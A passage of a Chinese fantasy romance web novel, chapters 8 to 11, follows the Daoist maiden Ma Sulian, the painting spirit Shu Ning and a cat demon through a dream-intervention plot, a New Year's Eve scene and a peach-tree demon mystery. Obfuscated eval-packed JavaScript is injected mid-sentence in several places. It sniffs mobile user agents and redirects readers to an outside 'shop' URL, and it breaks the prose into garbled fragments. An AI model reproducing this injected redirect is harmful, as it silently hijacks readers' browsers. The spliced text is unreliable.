想到自己的女儿,他不禁悲从中来,失魂落魄道:“马小姐,您帮到这里,我也算是死个明白了,香姐应是回不来了,我……” 马素莲惊讶地看他一眼,明白他已经被这些贵人的头衔吓到了,道:“不必忧心,你先回去吧,或许过上几日,香姐自会回去的。” 他有些不敢置信:“真,真的吗?” 马素莲颔首,随后一挥手,将他驱出了梦境。 她又吹了吹莲花蜡烛上的灯火,这次灯火几乎全都被吹出去了,才到了皇帝的梦境中。 窃国运以护自身的真龙天子,梦境自然不是一般人那般好进。 马素莲看着快要燃烧殆尽的灯芯,在这位已经老态龙钟的陛下的梦境中,刻下了几个字。 这位陛下冥冥之中感应到了什么,忽然发现手下的圣旨上显现出几个字来,不由大惊,仔细看去,发现上面写道:“取少女之血炼长生丹是为大不详之兆,上天怒之,为防祸国,将其遣返回家,可免灾祸。” 8. 天意 皇帝看完心头大惊,然而这字迹一点也做不得假,他相信这就是上天给他的提示,一时之间感动得无以复加,又担心之前所为触怒了上天,反复读了好几遍圣旨上的话,勉强确定上天并非要降罪于他,他赶紧跪倒在圣旨前:“寡人谨遵上天旨意,还望上天莫要降罪。” 上天没有降下一道雷直接把他劈死,而是将那几个字收了起来,浮现在了半空中,片刻后这些字迹消失,转换成另外的字句: “明日午时有雨至,见之便想起此梦。” 这个字句很快也消失了。 莲花蜡烛的灯芯尽灭,马素莲神智疲乏至极,已经维持不住皇帝的梦境,周围的雾气围涌过来,她却赫然发现,自己并没有直接醒来,也没有坠入睡眠,而是回到了小时候的一处荷塘。 荷塘的连桥上站着一位仙风道骨的老道士,须发皆白,看上去很是和蔼。 她走过去,唤道:“师父。” 清风道长“哼”了一声,转过身,一个脑瓜崩就落在了马素莲脑门上:“胆子真是越来越大了,如今竟敢在皇帝梦境中做手脚,凭你这三脚猫的道法,若不是有师父的法器镇着,你早就被那条金龙吞了,还能好端端站在这里吗?” 马素莲罕见地笑了笑:“师父给了法器,不就是任由徒儿用的吗?” 清风道长被噎了一下,很快以身份大法压制之:“你如今敢这么跟师父说话了?” 马素莲道:“师父都敢放我鸽子,徒儿只是实话实说,师父也受不得了吗?” 说起爽约之事,清风道长也有些心虚:“都怪东海那条老龙非要请我喝酒,咳咳,不管怎么说,对待师长要谦卑恭敬,这倒没错吧,你这性子真是越来越偏狭了,师父教你克制执念,不是让你平素里一点情绪起伏都没有,你倒好,平时不说话,梦里全怼师父身上了,合该师父倒霉呗。” 马素莲捂住了耳朵,梅开三度:“师父越来越话痨了。” 清风道长:…… 没话说了,只好又弹了徒弟一个脑瓜崩。 他忽然叹了口气,其实他知道徒弟为什么说话这般尖锐。 梦境本就是人心底所思所念的执念所化,在这里,魂魄脱离人身,情绪也就更为本真。 他语重心长地教导道:“爱之欲其生,恨之欲其死,非生即死,这般偏狭,终非正途,你既知万事皆有因缘际会,又何必执着于自判其生死?” 马素莲道:“因缘际会不假,可若万事随风,人活着有什么意思呢?难道我辛辛苦苦跟随师父学道,用个道法救人,还有何不妥吗?” 清风道长忽然笑了一下,先是习惯性地辩解了一句:“你明知师父不是在让你混吃等死,”随后又问道,“你既如此有主意,怎么轮到那小子便踌躇不前了,这可不像你的作风?” 马素莲沉默了一会儿,看着荷塘里随风摇晃的荷叶与含苞待放的莲花,慢慢道:“若我出手,他不会有第二条路可走。” 清风道长挑了下眉毛,还想再说,不料徒弟忽然转过身,漆黑的眼睛直直看着他,眼睛里全是:你看小辈的笑话,像话吗? 清风道长哈哈大笑:“多情却被无情恼,何知今日是春华?“ 等他笑够了才道:“你可知许多时候,你以为的第二条路,不是与第一条路殊途同归呢?” 马素莲道:“师父曾经与我说过,你对别人好不要以自己认为好的方式,而要以对方认为好的方式,徒弟正在践行师父的教导。” 清风道长竖起眉毛:“我那是让你不要太早喊我早起,与此事是一回事吗?” “一法通则万法通……” “得得得,小学人精,师父不与你吵了,你爱怎么样怎么样吧,今日师父只迟了一日,尚在期限之内,反倒是你精力不济,该算你一次迟到,下次要给师父多带一坛好酒。梦境已过,你自睡觉去吧。” 他一挥拂尘,此处梦境也已坍塌。 马素莲沉入了漆黑的睡眠之中。 翌日刚一醒来,便发现床前多了个姿容惑世的黑衣男子,正跪伏在床头睡觉,长发散开,披了一床,而他的额头就虚虚抵在她的额头上。 是个很少见的亲密姿势。 而在她枕头的另一边,也有个温热的小东西正发出“呼噜呼噜”的响声。 马素莲没动,静静盯了束宁一会儿,他的脖子上有一颗很不起眼的小痣,在他白皙的皮肤上显得有些多余。 这颗小痣是他自己点上去的。 ——为了和她脖子上的小痣相映衬。 束宁似是睡得很香,还无意识地向小姐的方向动了动,眼见他的额头立刻就要碰到小姐的额头了,马素莲仍静静看着,只是嘴角微微勾起一个弧度。 果然,下一刻束宁就停住了。 他睫毛颤了颤,假装刚刚醒来,却不意对上了小姐的视线,他一下子便觉得心里有道说不清道不明的痒意,刚刚在心里准备好的说辞一下子卡了壳。 马素莲终于移开了视线,她熟悉的清冷声音在束宁耳边响起:“起床吧。” 说着便从被子里坐起了身,十分熟练地抱过了三花猫的身体。 束宁心口的痒意消散不少,但见着小姐伸手就抱了吱吱,便有些不爽快,抱怨道:“小姐怎么一醒来不抱我?” 大家都是妖,难道就因为吱吱多了身毛吗? 马素莲明知道这家伙七窍开了六窍,一窍不通,却还是忍不住因为他这话顿了一下。 她抚额,觉得自己刚醒时竟觉得他脖子上的小痣好看,实在是个错觉,无奈道:“你们怎么睡在这里?” 说到这回事,束宁更委屈了:“小姐昨夜入梦之后忽然有一刻止了呼吸,虽然只有一瞬,但把我和吱大人都吓了一大跳,幸好小姐下一刻就恢复过来了,我们都不放心,守到了天亮呢。” 结果小姐醒过来就只抱那个胖猫。 马素莲道:“今日我多写篇文章。” 束宁还是有些不愿,但知道这是小姐在哄他,又有些高兴起来。 她把三花猫塞给束宁,进内室换了衣裳洗漱好,见还有些时间,便与他们说了昨晚之事。 三花猫蹬大了眼睛,它一直很想去京城逛着玩,还想过去看看皇宫长什么样子,里面都有些什么妖怪,却没想到听到的第一件与皇宫有关的事是这样的。 “皇帝也太恶心了吧,竟然做这种事。” 束宁也有些无法想象:“堂堂一国之君,我以为至少不会像县令那般,没想到更加不堪。” 马素莲想,人类无法长生,越是拥有了权势富贵,享受了其中的好处,便越不想放手。追求长生属人之常情,但为此戕害性命,便是无可辩驳的歪门邪道了。 “今日过后,梁二娘她们应当得以归家了。” 三花猫不虞:“那些作恶的人就这样放过他们了吗?”它掰着爪子一个个数过去,“县令、黄元勋、昌邑长公主,还有皇帝陛下,这一连串的人什么事都没有,什么委屈都没受,什么罪责都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说起小姐,众人都纷纷道:“好吧,小姐是对的,但你别唱了,我们都打牌呢,而且你一唱,说不定小姐的爹娘也能听见,大过年的别吓着他们了。” 韵娘被劝住了。 束宁坐在牌桌上颇有些心不在焉地随手扔出一张牌,心里想道:小姐在做什么呢? 三花猫对打牌很不热衷,方才便跑出去找它那些“狐朋狗友”了,他平时就觉得这些小家伙们太过幼稚,这会儿也不想和他们凑作一团。 人类过年的规矩是很奇怪的,明明家家户户都放爆竹,又要聚在一起,却偏偏要安安静静地守这么长的一个长夜。 束宁越想,就越觉得小姐寂寞,于是心念一动,寻起了小姐手腕处的字迹来。 身为一只画妖,天底下任何有字迹有图画的地方他都能去,只是不知道小姐换了过年的新衣,袖口处还有没有绣字了。 他只找了片刻,便找到了,心下不禁雀跃起来,转瞬之间就分神跑到了小姐手腕处。 祠堂里静悄悄的,老爷和夫人有一搭没一搭地聊天,小姐偶尔开口,但大多数时间都十分安静。 牌位前的香袅袅燃着,祠堂里满是檀香味,香点了太多,烟雾影影绰绰地散发出来,将小姐身边也围满了。 束宁下意识觉得,小姐静坐在那里的样子,就像一尊普度众生的神佛,安静,慈悲,却没有喜怒哀乐。 束宁心里有些隐隐的排斥,他不太想看到这样的小姐,于是悄悄幻化出一个小纸人,隔着袖子轻轻挠了挠小姐的手腕。 9. 年夜 小姐在爹娘的交谈声中按住了调皮的小纸人,嘴角却轻轻勾起一个笑来,如冰雪融化,清丽之中增添了几分明媚。 马夫人率先注意到了,不禁奇道:“闺女也讨厌昌邑长公主吗?” 马老爷少见女儿开怀,不禁也有些开心:“素莲修道之心,不染尘埃,自然不喜欢世间这些污垢腌臢之处,这次昌邑大长公主为了敛财卖官鬻爵一事暴露,也算是天理昭昭了。” 马夫人点头,问道:“昌邑长公主身份尊贵,却还要为了些钱财做这些蝇营狗苟之事,可见这人的贪心是没有尽头的。” 马老爷:“这何尝不是在说黄元勋呢?” 说起他,夫妻两个对视一眼,都有些戚戚,不过几个月的光景,之前还是安县的首富,家财万贯,走到哪里都受人敬重,谁成想才过了这点时日便物是人非了,听说这次昌邑长公主的事被捅出来,正是因为这位昔日富商。 他生意做不成,仅剩的家产也被儿孙们抢走,连冬日里的炭火也买不起了,唯一能算好事的,就是他身边那些老鼠终于不见了。 他想抢回家产不成,又不甘坐吃山空、贫困度日,便拿着账册去要挟昌邑长公主,结果被打了出来,账册按理说也该抢走了,谁知他素知这些权贵行事,竟不知何时还备了一份,交给了淮王一家。 淮王当即就把这事抖落出来了,惹来了御史弹劾,现在昌邑长公主的封邑被收回,连公主名号也被废了,只差宗室玉蝶没被除名了。 “淮王又蠢又坏,黄元勋大约是早就算好了这一步。” 马夫人惊疑道:“你是说,黄元勋也算到了昌邑长公主对淮王下手?” 马老爷含笑不语,马夫人看向马素莲,见女儿似是有些神游,便又与丈夫道:“黄元勋心机城府如此之深,一石二鸟,既拉了昌邑长公主下来,又借长公主之手拉了淮王下来,可最后,他又能落得什么好呢?” 因为账册是他提供的,便也一道被带走提审了,不知道还能不能过完这个年。 “真是令人唏嘘。” “谁说不是呢?” 说到这里,马老爷又想到一个人,之前安县的县令。 “昌邑长公主下来,拉了不少官员下来,里头就有之前那位县令呢。” 马夫人不屑,历数她认识的官员里,她最烦的就是这位不要脸的县太爷了。 “当初他还找黄元勋问咱们拿钱,说是捐到县衙由他来发,我真是这辈子都见过这么无耻的人,听说他断了胳膊,不少百姓都在拍手称快呢,谁知道后面还有更令人称快的事。” 马老爷最后总结道:“说来说去,还是得行身为正,不作恶事才行啊。” 马夫人道:“对也不对。” 马老爷:“哦?夫人不是一向推崇多做善事的吗?” 马夫人点了点丈夫的脑袋:“你真是榆木脑袋,善恶是善恶,手段是手段,县里最近传言一件事,你听说没有?” 马老爷与马夫人多年夫妻,一看她的眼神便对上了思路:“你是说那些人家的女儿回来的事?” 束宁早就被松开了,听到这件事是有些高兴的,虽然已经从外面听过这件事了,但是小姐爹娘再说起,他还是很乐意再听上一听。 “之前大家都没留意,原来有那么多户人家丢了女儿,她们回来之前都以为要么是被掳走了,要么是死了,谁知道都还活着,说是莲花娘娘送回来的呢。” 马老爷找遍了脑海也没记起莲花娘娘是哪路神仙,不禁问道:“难道是观音菩萨的化身?”观音菩萨便坐着一朵莲花台。 但马老爷很快就想起,八仙里的何仙姑也是手拿莲花做法器的,不禁又问:“是何仙姑?” 马夫人嗔他一眼:“你真是守岁守糊涂了,神仙的事纠结什么?也说不准是位咱们都没见过的神仙呢?”说着她告罪了几句,继续道,“关键是这些女孩儿们一回来,便与家里的父母闹别扭,好些都不愿意叫爹娘了,赶在年前嫁出去的也有好几位。” 马老爷的思绪还陷在神仙娘娘这里,问道:“她们斩断亲缘了?” 这倒是启发了马夫人:“我还没从这个角度里想过,不是,我听说有女孩儿哭诉,是她的爹娘亲手将她们弄晕了送走的,在外头吃了不少苦头呢。” 马老爷下意识看了闺女一眼,见她没什么异样的神色,好似神游,便与妻子道:“这怎么能呢?” 马夫人见他看向女儿才反应过来,但一时停下又太过明显,只好语焉不详地说道:“要活不下去了,无奈之举吧,这便是我与你说的,手段也是要紧,光有保护家人的心,却斗不过那等邪恶之人,岂不是还要受折磨?” 说完这句她便立刻转移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489799|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了话题,道:“上一任县令走了,下一任县令就快来了,听说是个年轻人呢。” 马老爷:“也不知道是不是许过亲。” 马夫人看了眼美丽出众的女儿,带着几分骄傲,道:“你也想到了吧,要我说,素莲的品貌才情配神仙也使得,不过安县的青年才俊不多,论起才情,说不准那已经高中的新县令便是拔了高个了。” 马老爷又说了些什么束宁已经无心再听了。 短短几个月,他已经听了好多次小姐要许亲的话了,都是马夫人和马老爷提起的。 原本他也觉得吱大人说得对,小姐嫁了人,还是会将他们都带在身边的,一切不会与之前有所不同。可见识到马夫人的热切态度还有郑重其事的挑选斟酌,他大约也是被这情绪裹挟了,竟莫名焦虑起来。 焦虑里夹杂了不少困惑。 女子嫁人,真的有那么重要吗? 他也不是不谙世事的孩童了,女子嫁人一事不说在周围听到见到的,就是话本中,戏剧里,他都听了不少了。 可这事一放到小姐身上,他便觉得百般别扭,以至于陌生起来。 他好像从来没有想过,小姐会嫁给什么人。 将来小姐也要穿着嫁衣,嫁给一个不知道名姓、不知道样貌、不知道性情的人吗? 束宁有些想象不出来。 他索性跟着吱大人走街串巷了好些时日,又变了模样问了不少已经嫁人的女子。 但她们全都是捂着嘴笑着,不肯告诉她嫁人到底是怎么回事。 然而让他自己来想,又觉得更加困惑。 二十岁的女子和四十岁的女子都是嫁人后的年龄,可为什么她们的状态全然不同?是因为年龄自然的衰老,还是像那些话本里的说的,遇人不淑,生活不幸呢? 束宁只是想了一下小姐被什么男人冷落,默默垂泪的样子,便要起一身的鸡皮疙瘩了,是幅画也免不了此事。 他驱逐掉脑海中乱七八糟的幻想,不由得在小姐手上一个字一个字地写道:“小姐能不能不嫁人? 如果不嫁人,这些悲惨的后果全都不会发生,什么风险都不必承担。 然而小姐也在手臂上一个字一个字地写道:“不可以。” 这下束宁好奇的问题变作了另外一个:为什么小姐这么执着于嫁人呢? 10. 桃花 他是这么想的,就这么问了。 字迹一笔一画在小姐手背上勾勒出来,束宁等待了许久,小姐却没有再回应了。 她眉眼低垂,神情虽然仍然清冷,但带了几分说不清道不明的缄默。 束宁以为勾起了小姐的伤心之事,慌忙转移话题:今日有许多人来送年,老爷夫人都很高兴呢。 除夕之夜前,百姓往往相互奔走,越是关系好,便越是临近除夕。 这是安县拜年的传统,往年除夕时也有不少受过恩惠的百姓前来拜年,但都不如今年多。 他知道这是因为今年年成不好,百姓尤为艰难,因此马家的一饭之恩便显得更珍贵起来。 马素莲在手背上写:无妨,我没有伤心。 只是想起了不少从前的事。 束宁还欲问,马夫人已经凑过来握住了女儿的手。 她与丈夫聊得起兴,深觉冷落了女儿,便过来与她谈论起为她寻找的夫婿人选。 “侍郎柳家两个儿子都是秀才,大儿子今年二十,年龄正与你合适,听说在郡学里读书,还要继续考科举呢,他家老父虽然从侍郎位子上退下来了,但听说他娘舅还在朝为官,将来他若是考中了进士,也不算没人帮衬。 二儿子十六岁,年龄小了些,不过也很是灵秀,十六岁就中了秀才,比他兄长的读书天分还要好些。” 马夫人掰着手指头继续数道:“还有一户是在下面的方家村,虽说是在村里,但家里有上百亩良田,这家儿子也是争气,只考了一次便中了秀才,年方十九,你爹爹特地趁着做生意时去瞧过了,是个很稳重的孩子,而且很敬重继母。” 马老爷不想表现得很热切,听到夫人这样说,“咳”了一声,掩饰道:“我去做生意,顺便瞧见了,确实是个不错的孩子。” 马夫人拧了一圈丈夫的胳膊,道:“有什么不好意思的,”她转过头对女儿道:“素莲呐,爹娘都不是那等迂腐之人,不是女子不嫁人就没法过日子了,但你正值青春,大好年华,何妨体验一遭。 人生在世,最怕瞻前顾后,唯唯诺诺,若是前怕狼后怕虎,必定一事无成;只要是做了决定,万般好坏咱们都担得住,嫁了人若是不如没嫁人时过得好,和离了又如何? 爹娘最怕当年因了你爹的病,让你走上修道这条路,反而害得你孤孤单单地过一辈子,爹娘在时自然还能陪你说说话,等爹娘走了,你又该怎么办呢?” 马夫人说到这里不禁抹了眼泪。 当年丈夫染了风寒,一病不起,眼看就要入土了,忽然有一游方道士来了家中,说有灵药能治好丈夫,唯有一个条件,便是要素莲认他为师,随他学道。 素莲是她好不容易求来的,哪里舍得给那道士带走。 后来道士让了一步,说能让素莲在家修行,加上素莲也在旁劝慰,愿意为父救命,这才认下了这师徒缘分,让素莲走上了修道一途。 而素莲小时候便不爱开口说话,等修了道,性子更清冷起来。 她是真怕因为这事误了孩子终身。 马夫人眼含热泪,拉着素莲的手:“娘是过来人了,知道这婚嫁之事过得好与不好,有大半原因都在挑人的眼光上,娘亲自认还算有几分眼力,挑了你爹爹做夫婿,这些年来夫妻和睦,你爹爹对我照顾有加,从来不与我拌嘴。我定要给你挑个比你爹还要好上千倍万倍的儿郎,等开了春,娘便安排你与这几个先见上一见,若是都不满意,咱们再挑。” 马素莲道:“我省得娘亲是为了我好。不过眼下咱家里才经了这般挫折,布庄的生意还没理顺,我想等家里这些事都安排好了,再来想嫁娶之事。” 马夫人还欲再说,被马老爷拉住了:“素莲心里有主意,便听女儿的吧。” 马夫人便收回了话头,道:“也好。” *** 除夕夜过去,便又是新的一年了。 春日里杨柳青青,花草葳蕤。 马夫人非要带着马素莲去金玉楼再打几样春日里的首饰。 吱大人的许多朋友过完了冬,也活跃起来,吱大人便跟着这些朋友“聚会”去了。 束宁这些日子里沉默了不少,只是眉头总不自觉皱着,瞧上去竟比从前跳脱的样子多了几分沉稳。 他和吱大人一块出门玩的时间越来越少,跟在小姐身边的时间越来越多起来。 便如这次去金玉楼,以前他都不愿跟着,这次却化作了小纸人,央求小姐给他施了个障眼法,光明正大坐在小姐头上的发髻里,跟着一块儿出了门。 金玉楼据说是从京城里一路开过来的,有不少地方都有金玉楼的分店,安县这家也不例外。打着京城里时兴样式的旗号,金玉楼只在安县开了三年便成了这里最火热的首饰铺子。 掌柜的姓朱,年约四十上下,人很周到,见马夫人和马小姐来了,当即就迎了过去:“贵客登门啊,我说今天怎么有喜鹊叫,原来是马夫人和马小姐大驾光临,快往里面请。” 马夫人心情也不错:“有没有春天的新式样,都拿来瞧瞧。” “有,有,当然有。”朱掌柜很快就让伙计拿来了十几样首饰。 马夫人和马小姐都是常客了,朱掌柜一看马夫人的架势就知道,又是为女儿挑的,便让人拿了七八样玉质的首饰还有珍珠彩贝之类,只有三四样缠金丝的。 马小姐的样貌太过出挑,朱掌柜敢说在整个安县都没有比得过的,不,硬要说,即使在京城都是数一数二的,关键是气质清冷,有如空谷幽兰一般,独树一帜,真真是神仙中人。 马小姐容貌太盛,不喜奢华的首饰,更偏爱些素净的,朱掌柜投其所好,每次都要多准备些美玉雕刻的发簪和花钗。 果不其然,马小姐拿起一样兰花玉簪,朱掌柜心中暗自高兴,不禁夸赞了一声自己的经商手段。 马夫人宠溺女儿,这次必然也不会反对。 朱掌柜在心中暗自和了一句:“女儿戴什么都好看。” 没想到马夫人张口却是:“是不是太素了,娘看这件不错。” 朱掌柜:?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489800|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他朝马夫人手中看去,却见她挑了一件粉桃花宝石步摇,桃花的花瓣以粉宝石雕刻而成,其余部分皆以纯金打造,晶莹而华贵,摇曳间尽显春意。 这确实是他们店里的镇店之宝,华贵非常,马夫人不能不说是很有眼光,只不过这样步摇金质太多,戴出去不免招摇。这样的首饰一般都是拿来下聘或是添妆所用,毕竟桃花的宝石是嫩粉色,而非正红色。 朱掌柜对马夫人之举自然是乐见其成,不过他在心中暗道:恐怕马小姐是不喜的。 果然便听到马小姐开口道:“很漂亮,就这件吧。” 朱掌柜:果然不出我所料……嗯? 他面上毫无异色,直夸二位好眼光。 之后马素莲又与马夫人一道挑了好几件,还给吱大人买了条金铃铛项链,又给束宁挑了块墨玉佩。 正要结账离开时,马素莲忽然闻到一股浓烈的桃花异香,她转头像金玉楼二楼开着的窗户望去,外面正种着一颗桃树,桃花粉嫩艳丽,正随微风摆动着,偶尔有几片花瓣飘落进来,反而增添了几分唯美的意境。 马素莲看了那桃树一会儿,束宁问道:“小姐,是妖吗?” 他闻到了一阵浓烈的妖气。 马素莲点了点头。 她之前来此便发现窗外那颗桃花有化妖的迹象,只是妖气淡薄,应是还没开灵智,没想到今日便有如此强烈的妖气了。 她抬步欲走,忽然看到走在前面的朱掌柜一脚踩空,顺着楼梯滚了下去。 他身边的小伙计惊呼一声,显然从未见过这般景象,一时间愣住了。 马素莲单手掐诀,一柄飞剑从她头上的发簪里显形出来,又瞬间隐去了踪影,“嗖”一声飞去,拖住了朱掌柜的身体,将他轻轻放在了地上。 束宁身上有隐身术,一步迈出,便从小纸人化作了身形修长的美男子,他越过众人,从朱掌柜身上印鉴处走出,盯着昏迷的朱掌柜,面色凝重。 朱掌柜虽然有小姐的飞剑拦了一下,没直接从台阶上一摔到底,但终归是磕出了几道印子,额头上好大一块红肿。 但若只是这点皮外伤,不至于眉间萦绕着一股死气,这分明是人之将死的征兆。 这时,他忽然发现朱掌柜颈间有一点粉色的印记正往地上游走,他指尖一点,将那点印记定住了,粉色的印记扭曲变形,竭力挣扎,却都没有跑掉。 束宁定睛一瞧,这正是一朵指甲盖大小的桃花印记,虚浮在地面上,却像是有了灵智一般。 束宁抬头看向楼梯拐角处的小姐,小姐点头,示意自己看到了,她的目光转向桃花印记挣脱的方向,发现正是金玉楼后院窗外,那颗桃花树的位置。 两人的查探只用了短短一点时间,众人刚刚奔下去围着朱掌柜惊讶查看惊呼,还有狠掐朱掌柜人中的,但都没能把朱掌柜唤醒。 就在这时,后院里走进来一个二十左右年轻俊秀的年轻人,伙计一见他便仿佛有了主心骨,立马喊道:“少爷您快来看看,朱掌柜摔晕过去了!” 11. 桃妖 金玉楼的少爷穿着一身棉布袍子,看上去很是朴素儒雅,手上沾满了泥土,应当是在侍弄什么花草,听见了堂里的声音,才从后院里走进来查看。 他一眼就看见了躺在地上脸色发黑的朱掌柜,快步走了进来,问道:“摔晕的?” 伙计立马比划着刚才发生的情境:“朱掌柜一脚踩空,从二楼的楼梯上摔下来的,我掐了半天人中,还是没醒,少爷您说朱掌柜他会不会已经死了……” “别胡说。” 那少爷掰开朱掌柜的眼皮看了几下,吩咐伙计:“你去找大夫来看看,要快。” 随后又对着马夫人等一众客人拱手道:“我是金玉楼少东家杨万宁,惊扰诸位了,眼下店里不便招待诸位,还望海涵。” 他这样不疾不徐一番话讲完,马夫人多看了他两眼,道:“无妨,快救治朱掌柜吧。” 马夫人挽着女儿便要离开。 马素莲道:“娘,不妨让我试一试。” 她走上前,不动声色将那朵桃花印记用飞剑镇压住,用袖子遮掩着收拢起来,随后观察着朱掌柜的脸色,指尖掐算,发现他并不是简单的邪气入体,而更像是被人窃取了体内的生机。 窃取的手段必然在那朵桃花印记上。 桃花印记还在,但不知道朱掌柜的生机是否还在桃花印记之中,眼下她只能先吊住朱掌柜的一口气,待查探清桃花印记是什么,再视情况救治。 马素莲假装把了下朱掌柜的脉,实则往朱掌柜体内打入了一道阴阳锁,让他不会因什么意外殒命,这才松手道:“只是晕过去了。” 在场众人都纷纷松了一口气,杨万宁也郑重谢了这位仗义援手的小姐。 等离开之后,马夫人搭着女儿的手,在晃晃悠悠的马车里状似不经意地问道:“素莲,你觉得那位少东家如何?” 马素莲还未回答,已经变作了小纸人趴在小姐头上的束宁先直起了身。他忽然记起,方才马夫人好像多看了那个杨万宁好几眼,不会看中他做小姐夫婿了吧? 他一时有些抵触,耳朵紧紧听着小姐的回答。 清冷的声音里听不出什么情绪:“很是儒雅谦和。” 全是夸奖之语,束宁顿时感觉脑袋里乱糟糟的。 马夫人却手一紧,神情郑重道:“他确实处置得宜,人也不急不躁的,样子长得也还行,但娘直觉觉得,他有些太淡定了,不是和善之辈,我儿以后不要与他多做来往。” 马素莲平时并不与马夫人聊起修道之事,所以自然也没有告诉她,方才她趁机收起那朵桃花印记后,桃花印记挣扎的方向与那位少东家,还有他身后后院的桃花树,都在一条线上。 而且朱掌柜身边站满了人,束宁站着的地方就在那位少东家旁边,而后者从进入厅堂到蹲下查看情况,全程都没有碰到束宁的一点衣角,这都令她怀疑。 她平淡应道:“好。” 马夫人这才松了口气。 等回了院子,束宁立即恢复了人身,从进院子开始就找了诸多理由跟在小姐身边,几次欲言又止,但都不知道想到了些什么,迟迟没有开口,反而双眉紧簇,透出一股茫然忧愁之色,几次神游,令吱大人都诧异起来。 “你今天出去见到什么了?” “没什么,就是那个。”他下巴抬了抬,正是小姐桌案的位置。 吱大人早就在那边巡视过了,小姐在研究一朵桃花印,那东西仿佛活物,被小姐困在砚台里,观察半晌了,无论用火烧还是用剑劈,那桃花印都只会蜷缩一下再挣扎着逃跑,一会儿就没什么意思了。 吱大人狐疑地看他几眼:“你最近怎么一直赖在小姐身边?” 束宁这次倒是怔了一下:“我有吗?” 吱大人:“嗯哼。” 束宁反思道:“可能是最近外面太无聊了。” 吱大人眼睛瞪得圆圆的,大声反驳道:“怎么可能,现在可是春天!毛毛虫,小蛇,蝴蝶,那么多好玩的东西,”它上下打量了一下束宁,忽然发现他比去年春天还要挺拔许多的身体,明白过来,道:“是你变成了大人了,大人才会觉得无聊。” 说起这个,吱大人也不免讶异,语气里还带了三分羡慕:“画妖长得都这么快吗?”它比划了自己的身体和束宁的身体,惆怅道:“什么时候我能长得比大虫还高大威风。” 吱大人想到这些,立即觉得自己应该吃得更多些,束宁就是跟在小姐身边吃了太多文气,它也得多吃些,于是立即消失得无影无踪了。 束宁分心看了眼吱大人离开的方向,发现它是朝着河边捕鱼去了。 房间里又只剩下小姐和他两个。 束宁又发起呆来。 过了一会儿,见小姐还在研究那朵桃花印,忍不住坐到了小姐身边,可往常他觉得无比亲近舒适的坐法,这会儿忽然有些不知道手脚该怎么放了。 束宁想到小姐的那句评价,“儒雅谦和”,心里就有些酸和涩,像是吃到了很难吃的文章的味道。 他憋了半天还是没忍住问出了那个问题:“小姐会喜欢他那样的人吗?” 马素莲嘴角暗自勾了起来,嘴上却不答。 等束宁扯了扯她的袖子,才故作不知,问道:“谁?” 束宁:“就是那个突然冒出来的少东家。” 他期待从小姐嘴里听到否定的回答。 小姐素来清冷,是决计不会对一个刚认识的人就说喜欢的。 然而马素莲却没有讲出他期望听到的答案,反而问道:“喜欢?哪种喜欢?” 束宁一下子卡了壳。 他忽然反应过来什么,难道小姐已经对那个家伙有了一种喜欢吗?不然怎么会问他是哪种喜欢,肯定会说不喜欢的。 心里那股酸涩的感觉更严重了,他有些茫然,不知道为什么好像尝到了一嘴苦味。 他忽然什么都不想说了,身形一下子消散,回到了画里。 过了好几日都没有缓过来,连小姐又去了一趟金玉楼也不想跟着了。 束宁倚在金玉楼二楼的栏杆上,百无聊赖地看着小姐将那朵桃花印放回了金玉楼的后院。 那朵桃花印果然一离开小姐的辖制就飞快躲进了那棵桃树里。 整棵桃树都颤抖起来,桃花纷纷飞落,束宁看着落花中的小姐,有些晃神。结果一眨眼的功夫,就看到了那个少东家不知道从哪里冒了出来,跟小姐搭话。 束宁手指一紧,“咔嚓”一声,金玉楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489801|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二楼的栏杆被捏断了一块。 他眼睛一眨也不眨地看向后院里说话的二人,见那家伙离小姐越来越近,瞬间就从小姐腰上的玉佩中迈步出去。 他并不想现身,然而或许是因为他本体是画妖,所以最简单的隐身术他也学不会,因此情急之下整个人伴随着桃花飘落突兀出现在了两人之间。 一身黑衣的束宁身形修长挺拔,容貌华贵昳丽得近乎耀眼,正可谓桃之夭夭,灼灼其华,加上这突然出现的方式,又增添了几分神秘强大之感。 杨万宁被震慑住了片刻,他不禁问道:“您是……” 束宁冲动之下出来,并没有提前想好说辞,他下意识环顾四周,正好看到了院子中央那棵刚刚成精的桃树,福至心灵道:“我就是这株桃树。” 杨万宁惊讶,语气都放缓了:“你是这棵桃树?” 